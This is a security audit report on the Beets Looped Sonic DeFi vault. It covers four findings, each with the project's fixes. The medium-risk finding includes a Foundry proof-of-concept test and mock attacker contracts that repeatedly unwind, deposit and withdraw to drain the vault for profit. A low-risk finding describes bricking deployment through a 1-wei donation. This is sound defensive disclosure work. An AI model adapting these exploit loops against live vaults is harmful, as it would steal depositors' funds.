Beets Looped Sonic

Security Review

Cantina Managed review by:

0xLeastwood, Lead Security Researcher

Alireza Arjmand, Lead Security Researcher

Om Parikh, Security Researcher

Kankodu, Security Researcher

October 10, 2025

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

Cantina Managed provides a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While Cantina Managed endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that the Cantina Managed security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity level	Impact: High	Impact: Medium	Impact: Low
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings are a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Beethoven X is a next generation decentralized investment platform that provides innovative, capital-efficient, and sustainable solutions for all DeFi users.

From Sep 15th to Sep 21st the Cantina team conducted a review of looped-sonic on commit hash e959a06b. The team identified a total of **4** issues:

Issues Found

Severity	Count	Fixed	Acknowledged
Critical Risk	0	0	0
High Risk	0	0	0
Medium Risk	1	1	0
Low Risk	2	1	1
Gas Optimizations	0	0	0
Informational	2	1	0
Total	**4**	**3**	**1**

3 Findings

3.1 Medium Risk

3.1.1 UNWIND_ROLE can extract profit via repeated allowedUnwindSlippagePercent arbitrage

Severity: Medium Risk

Context: LoopedSonicVault.sol#L358

Description: The unwind function is used when the protocol leverage in the underlying AAVE pool needs to be reduced when it is no longer profitable. An actor with UNWIND_ROLE exchanges LST for WETH and repays the protocol to lower leverage. The role can act freely and unwind beyond the target healthFactor up until the underlying AAVE pool allows, then repay WETH. The vault uses the LST's convertToAsset ratio as a reference price and applies allowedUnwindSlippagePercent, which permits the UNWIND_ROLE to return slightly less WETH when exchanging LST in external markets.

If an external market sells LST at a price greater than redemptionAmount * (1e18 - allowedUnwindSlippagePercent) / 1e18, the UNWIND_ROLE can repeatedly:

1. Call unwind, exchanging LST for WETH and paying back only the minimum required by the protocol (subject to allowedUnwindSlippagePercent).
2. Deposit proceeds back into the protocol to raise the healthFactor.
3. Withdraw shares.

Repeat until the vault is drained or the external market's price falls to LST.convertToAssets(shares) * (1e18 - allowedUnwindSlippagePercent) / 1e18.

In the process described above, step (1) generates profit for the UNWIND_ROLE, while steps (2) and (3) just reset the vault to enable the process to be repeated.

It should be noted that, even if the UNWIND_ROLE is not acting maliciously, any deposit made after an unwind action effectively reverses the unwind.

Proof of Concept: Below there is a proof of concept where it showcases the exploit above. To make this proof of concept work there are other contracts required which are included in the appendix. The proof of concept assumes that there is an infinite market that sells LSTs at a higher price that the threshold requires. While this is not realistic it serves nicely as a part of this proof of concept.

```
// forge test --rpc-url $RPC_URL -vv --match-test testUnwindLoop --block-number 47500000
function testUnwindLoop() public {
        uint256 depositAmount = 100 ether;
        uint256 unwindInitialWethBalance = 100 ether;
        vm.deal(user1, depositAmount);

        uint256 slippageDifference = 0.002e18;

        MockFlatRateExchange exchange = new MockFlatRateExchange(address(LST), address(WETH),
        ↪   uint256(PRICE_CAP_ADAPTER.getRatio()) - INITIAL_ALLOWED_UNWIND_SLIPPAGE + slippageDifference,
        ↪   1e18); // the slippage rate is 0.007e18, we are making the rate be 0.002e18 above the allowed
        ↪   slippage
        MockUnwindContract unwindContract = new MockUnwindContract(address(vault), address(exchange),
        ↪   slippageDifference, address(LST), address(WETH), address(router));

        deal(address(WETH), address(unwindContract), unwindInitialWethBalance);

        vm.startPrank(admin);
        vault.grantRole(vault.UNWIND_ROLE(), address(unwindContract));
        vm.stopPrank();

        vm.prank(user1);
        router.deposit{value: depositAmount}();

        for(uint256 i; i < 300; ++i){ // Doing the loop 300 time to gain profit
            VaultSnapshot.Data memory snapshot = vault.getVaultSnapshot();

            if(snapshot.wethDebtAmount == 0 || snapshot.lstCollateralAmountInEth < 1e18) {
                break;
            }
```

```
        uint256 lstToTakeInEth = snapshot.lstCollateralAmountInEth * snapshot.ltv / 10_000 -
        ↪  snapshot.wethDebtAmount;
        uint256 lstToTake = lstToTakeInEth * 1e18 * 999 / uint256(PRICE_CAP_ADAPTER.getRatio()) / 1000; //
        ↪  The rate is higher than any market offers, so this is the lower bound of lst that we are able to
        ↪  withdraw

        uint256 minWethOut = LST.convertToAssets(lstToTake) * (1e18 - INITIAL_ALLOWED_UNWIND_SLIPPAGE) /
        ↪  1e18; // Formula from vault

        unwindContract.unwind(lstToTake, minWethOut); // unwinds the max amount possible, taking the HF up

        unwindContract.deposit(); // deposits 1 ether to take HF down again

        unwindContract.withdraw();
    }

    vm.assertGt(WETH.balanceOf(address(unwindContract)), unwindInitialWethBalance * 11 / 10);
    unwindContract.logAssets(); // 117_242697712389394559 There is a 17 ETH increase in unwind's balance
}
```

Recommendation: The `unwind` function can be exploited by the `UNWIND_ROLE` to profit from the difference between `1e18 - allowedUnwindSlippagePercent` and the external market value. Without redepositing, the `UNWIND_ROLE` can only repay the protocol's debt and capture profit once. However, by redepositing into the protocol, the process can be repeated multiple times.

To prevent repeated profitability from unwind operations, we recommend implementing one of the following mitigations:

- Increase the `targetHealthFactor` after an unwind, ensuring that subsequent deposits cannot reset the `healthFactor`.
- Temporarily pause deposits following an unwind to prevent looping behavior.

Beets Finance: Addressed in PR 15 The following checks were added:

- An unwind can only be performed if `currentHealthFactor <= targetHealthFactor - MARGIN`, where `MARGIN == 0.01e18`.
- An unwind CANNOT end with `currentHealthFactor > targetHealthFactor`.

In this way, we cap the amount of damage that can be done by a malicious unwind to the delta. Additionally, the margin ensures that an unwind cannot be called for small amounts of debt accrual that would be managed by user deposits.

Cantina Managed: Verified fix. The `UNWIND_ROLE` powers have been changed to limit the degree of deleveraging that can be done.

3.2 Low Risk

3.2.1 Contract Can Be Bricked at Deployment by Donation

Severity: Low Risk

Context: LoopedSonicVault.sol#L285-L291

Description: During initialization, there is a check to ensure `lstCollateralAmount` is zero. An attacker can send 1 wei of an LST to the vault contract before or after deployment, causing initialization to fail. If initialization fails, no other actions can be performed.

Recommendation: Remove this check. Doing so does not open up any other attacks, including inflation related attacks.

Beets Finance: Resolved in PR 13.

Cantina Managed: Verified fix. The zero check has now been removed.

3.2.2 Router borrow reverts when `TargetHealthFactor` exceeds a certain threshold with zero initial debt

Severity: Low Risk

Context: VaultSnapshot.sol#L85-L89, VaultSnapshot.sol#L91-L114

Description: The `borrowAmountForLoopInEth` function returns the `maxBorrowAmount` is returned when `wethDebtAmount` is zero. `maxBorrowAmount` at any time is equal to `collateral * LTV` minus a dust amount.

However, If the condition `LiquidationThreshold + LiquidationThreshold / LTV < TargetHealthFactor` holds, the borrow through the router fails. This happens because even the initial `maxBorrowAmount` would reduce the `healthFactor` below the required `TargetHealthFactor`.

It should be noted that in realistic scenarios (e.g. `LiquidationThreshold = 0.92`, `LTV = 0.87`), the `TargetHealthFactor` must be quite high (>1.977).

Proof of Concept:

```
// forge test --rpc-url $RPC_URL -vv --match-test testMaxBorrowAndRatio --block-number 47500000
function testMaxBorrowAndRatio() public {
    uint256 depositAmount = 10 ether;
    address poolConfigurator = 0x50c70FEB95aBC1A92FC30b9aCc41Bd349E5dE2f0;
    vm.deal(user1, depositAmount);

    DataTypes.CollateralConfig memory collateralConfig =
    ↪   vault.AAVE_POOL().getEModeCategoryCollateralConfig(E_MODE_CATEGORY_ID);
    vm.startPrank(poolConfigurator);
    vault.AAVE_POOL().configureEModeCategory(E_MODE_CATEGORY_ID, DataTypes.EModeCategoryBaseConfiguration(8700,
    ↪   9200, collateralConfig.liquidationBonus, ""));
    vm.stopPrank();

    // LiquidationThreshold + LiquidationThreshold/LTV < TargetHealthFactor => Fails
    // 0.92(1 + 1/0.87) = 1.977
    vm.prank(admin);
    // vault.setTargetHealthFactor(1980000000000000000); // Fails
    vault.setTargetHealthFactor(1970000000000000000); // Passes

    console2.log("HF: ", vault.targetHealthFactor());
    console2.log("LTV: ", collateralConfig.ltv);
    console2.log("LT: ", collateralConfig.liquidationThreshold);

    vm.prank(user1);
    router.deposit{value: depositAmount}();
}
```

Recommendation: To address this issue, the `healthFactor` and `borrowAmountForLoopInEth` functions can assume `data.wethDebtAmount` is equal to 1 when it is 0. In such cases the `targetAmount` would correctly calculate the amount that should be borrowed.

Beets Finance: Acknowledge the issue here, but we'd opt to leave the code as is since the values that cause the revert are outside of any reasonable operational values.

Cantina Managed: Acknowledged as a won't-fix.

3.2.3 Callbacks should be whitelisted to trusted router contracts

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: The protocol implements deposit/withdraw functions which are un-permissioned but execute callbacks to `msg.sender` to facilitate specific AAVE pool actions. This allows the recipient of the callback to perform multiple borrow/supply calls on the pool to maintain the target health factor.

While it is not a direct security issue, there is a concern in not whitelisting these callback recipients as the implemented router contract will be the main path for performing any loop operations on the vault.

Recommendation: Consider specifically whitelisting these router contracts so all deposit/withdraw operations must be executed from the context of the router contract. In the future, if new routers are added or current ones are changes, the whitelist can be easily updated, avoiding any mis-use of the vault functions where normal usage would be expected.

Beets Finance: Addressed in PR 16.

Cantina Managed: Verified fix.

4 Appendix

4.1 Trust Assumptions

The following points should hold in order for the security of the system to be upheld:

- The DEFAULT_ADMIN_ROLE is generally trusted with user funds but UNWIND_ROLE and OPERATOR_ROLE are only able to trigger their respective actions and not modify core parameters or profit from user funds.
- The admin can change the aaveCapoRateProvider, which directly impacts pricing and could potentially affect user funds. Placing this power behind a timelock gives users sufficient time to review upcoming changes and take protective actions if needed.
- Admin is supposed to monitor governance actions and keep the targetHealthFactor under control, especially when LTV and LiquidationThreshold are upgraded through governance.
- The protocol's security also depends on external components, such as the PRICE_CAP_ADAPTER. The isCapped() function tracks growth per second since the last snapshot. This means that the closer the system is to the previous snapshot, the easier it becomes to trigger isCapped() by donating WETH to the LST contract. When isCapped() is active, different parts of the system start relying on different price sources. For example, the unwind function uses the LST's own interface, while other functions depend on the capped value. This mismatch can cause inconsistencies and, in some cases, may require the UNWIND_ROLE to spend extra funds to meet thresholds. There are also risks from external actors who can influence the LST's total assets. For instance, operators or admins of the LST can call functions like claimRewards, clawback, or delegate. Because of this, any updates to these functionalities(especially to the PRICE_CAP_ADAPTER) must be handled with great caution.

4.2 Proof of Concept finding *"UNWIND_ROLE can extract profit via repeated allowedUnwindSlippagePercent arbitrage"*

MockUnwindContract.sol:

```
pragma solidity ^0.8.30;

import {console2, Test} from "forge-std/Test.sol";

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {IWETH} from "src/interfaces/IWETH.sol";


interface IMockUnwindContract {
    function unwindCallback(uint256 _lstAmountToWithdraw, uint256 _minWethOut) external returns(uint256);
}

interface Exchange {
    function convertLstToWeth(uint256 lstIn) external returns(uint256);
}

interface ILST is IERC20 {
    function convertToAssets(uint256) external returns(uint256);
}

interface Vault is IERC20 {
    function unwind(uint256 lstAmountToWithdraw, bytes calldata data) external;
}

interface Router {
    function deposit() external payable;
    function withdraw(uint256, uint256, bytes memory) external;
}

contract MockUnwindContract is IMockUnwindContract {

    Vault vault;
    Exchange exchange;
    uint256 slippageReduction; // The profit of this contract
    ILST immutable public LST;
    IWETH immutable public WETH;
    Router router;
```

```
    constructor(address _vault, address _exchange, uint256 _slippageReduction, address _lst, address _weth, address _router) {
        vault = Vault(_vault);
        exchange = Exchange(_exchange);
        slippageReduction = _slippageReduction;
        router = Router(_router);
        LST = ILST(_lst);
        WETH = IWETH(_weth);

        LST.approve(address(vault), type(uint256).max);
        LST.approve(address(exchange), type(uint256).max);
        WETH.approve(address(vault), type(uint256).max);
        WETH.approve(address(router), type(uint256).max);
        vault.approve(address(router), type(uint256).max);
    }

    function unwind(uint256 _lstAmountToWithdraw, uint256 _minWethOut) public {
        vault.unwind(_lstAmountToWithdraw, abi.encodeCall(IMockUnwindContract.unwindCallback, (_lstAmountToWithdraw, _minWethOut)));
    }

    function unwindCallback(uint256 _lstAmountToWithdraw, uint256 _minWethOut) public returns(uint256){
        uint256 gotWeth = exchange.convertLstToWeth(_lstAmountToWithdraw);
        assert(_minWethOut < gotWeth);

        return _minWethOut;
    }

    function deposit() public {
        WETH.withdraw(1 ether);
        router.deposit{value: 1 ether}();
    }

    function withdraw() public {
        router.withdraw(vault.balanceOf(address(this)), 0, "");
    }

    function logAssets() public {
        console2.log("MockUnwindContract::withdraw::WethBalance: ", WETH.balanceOf(address(this)));
        console2.log("MockUnwindContract::withdraw::balance: ", address(this).balance);
        console2.log("MockUnwindContract::withdraw::LSTBalance: ", vault.balanceOf(address(this)));
        console2.log("MockUnwindContract::withdraw::TotalSupply: ", vault.totalSupply());
        console2.log("MockUnwindContract::withdraw::LSTBalance: ", LST.convertToAssets(LST.balanceOf(address(this))));
        console2.log("MockUnwindContract::withdraw::TotalBalance: ", LST.convertToAssets(LST.balanceOf(address(this))));
        console2.log("MockUnwindContract::withdraw::RatioSinceInit: ", LST.convertToAssets(LST.balanceOf(address(this)))/10 ether);
    }

    receive() external payable {}
}
```

MockFlatRateExchange.sol:

```
pragma solidity ^0.8.30;

import {console2, Test} from "forge-std/Test.sol";

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract MockFlatRateExchange is Test {
    IERC20 immutable public LST;
    IERC20 immutable public WETH;
    uint256 rate;
    uint256 base;

    constructor(address _lst, address _weth, uint256 _rate, uint256 _base) {
        LST = IERC20(_lst);
        WETH = IERC20(_weth);
        rate = _rate;
        base = _base;
    }

    function convertLstToWeth(uint256 lstIn) public returns(uint256){
```

```
        LST.transferFrom(msg.sender, address(1), lstIn);
        uint256 wethOut = lstIn * rate / base;
        deal(address(WETH), address(this), wethOut);
        WETH.transfer(msg.sender, wethOut);

        return wethOut;
    }

    function getConversionLstToWeth(uint256 lstIn) public returns(uint256) {
        uint256 wethOut = lstIn * rate / base;
        return wethOut;
    }
}
```

And need to change the `convertLstToWeth` function in `MockLoopedSonicRouter.sol` to:

```
function convertLstToWeth(uint256 lstCollateralAmount, bytes memory data) internal override returns (uint256) {
    uint256 wethAmountOut = abi.decode(data, (uint256));

    VAULT.LST().transfer(address(1), lstCollateralAmount);

    vm.deal(address(this), wethAmountOut);
    VAULT.WETH().deposit{value: wethAmountOut}();

    return wethAmountOut;
}
```